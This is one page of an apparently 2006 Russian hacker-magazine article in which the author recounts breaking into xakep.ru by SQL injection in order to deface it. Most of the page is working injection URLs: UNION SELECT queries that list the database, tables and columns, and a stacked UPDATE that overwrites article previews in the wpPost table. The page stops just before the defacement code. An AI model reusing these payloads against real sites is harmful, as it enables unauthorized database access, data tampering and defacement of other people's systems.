Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #88, АПРЕЛЬ 2006 г.

Как нас поимели

ZaCo (zaco@yandex.ru)

Хакер, номер #088, стр. 088-056-3


www.xakep.ru/code/common/rateit/opinion_new.asp?code_opinion=ORT116046' UNION SELECT null,null,null,null,null,null,db_name(),null—

я получил имя базы данных, в которой выполнялся сам запрос, имя ее - www. Уже было понятно, что к форуму и прочим полезностям мне не добраться, но и это результат. Теперь нужно вытащить все таблицы вместе с их содержимым:

www.xakep.ru/code/common/rateit/opinion_new.asp?code_opinion=ORT116046' UNION SELECT null,null,null,null,null,null,table_name,null from information_schema.columns—

Так я получил имя первой таблицы в базе. Далее:

www.xakep.ru/code/common/rateit/opinion_new.asp?code_opinion=ORT116046' UNION SELECT null,null,null,null,null,null,table_name,null from information_schema.columns where table_name not in ('dtproperties')—

Аналогично я получил весь список, но интересовала меня только таблица - wpPost, содержащая в себе информацию о публикациях. Если ты еще не понял, зачем мне нужна именно эта таблица, то повторяю: моей целью был деф, а на страничке default.asp всегда лежит краткая информация о новой статье, то есть, если я сделаю в ней изменения - это уже дефейс. Конечно, можно было бы выполнить процедуру exec и залить шелл, но прав у меня не было, поэтому первый вариант показался наиболее предпочтительным. Аналогичными действиями я получил необходимые имена столбцов (column_name):

filedir, preview, title, scope.

filedir - что-то типа айдишника публикации, preview - текст публикации для предварительного просмотра, title - заголовок, scope - довольно интересный столбец. Дело в том, что xakep.ru и gameland.ru лежат на одной тачке и юзают одну бд, поэтому, чтобы как-то различать, что и где должно лежать, добавили этот параметр. Главное - в нем содержится строка 'xpost'.

[deface time]

Для осуществления цели мне было необходимо записать в столбец preview нужный html-код и провести дефейс. Но в нашем деле никогда не нужно спешить, поэтому для начала я решил немного поэкспериментировать. Чтобы проверить свое предположение, я нашел в списке архива незаметную статью и проапдэйтил preview так:

http://www.xakep.ru/code/common/rateit/opinion_new.asp?code_opinion=ORT116046';UPDATE wpPost SET preview='lala' where filedir=28410 and scope='xpost'--

Далее: http://www.xakep.ru/code/common/rateit/opinion_new.asp?code_opinion=ORT116046' UNION SELECT null,null,null,null,null,null,str(filedir),preview from wpPost where filedir=28410 and scope='xpost'--

В результате в поле ввода редактируемого сообщения я получил "lala" - значит, все прошло успешно. Но нет тут-то было. Открыв тот же самый архив в html-страничке, изменений в нем я не нашел даже после продолжительных тыканий в ctrl-f5. Тут я вспомнил, что завтра нужно идти в школу, и решил выспаться. На следующий день я посоветовался с Zadoxlik'ом. Его ответ меня не то чтобы шокировал, но в него мне верилось меньше всего - странички кэшируются на сервере. Хотя это и понятно: зачем каждый раз обращаться к скл-серверу, когда страничку можно сохранить и обновлять только раз в несколько часов. Так и здесь: ровно через час обновления произошли. Зайдя в тот самый архив, я увидел "lala" вместо красивой надписи "Найди $10 на форуме". Осталось проверить фильтрацию на выходе - и уже можно приступать к дефейсу. Для этого я проделал то же самое, но вместо "lala" незаметно засунул lala<BR> - фильтрация проверит. В это время Zadoxlik уже приготовил универсальный код для дефейса:

Назад на стр. 088-056-2  Содержание  Вперед на стр. 088-056-4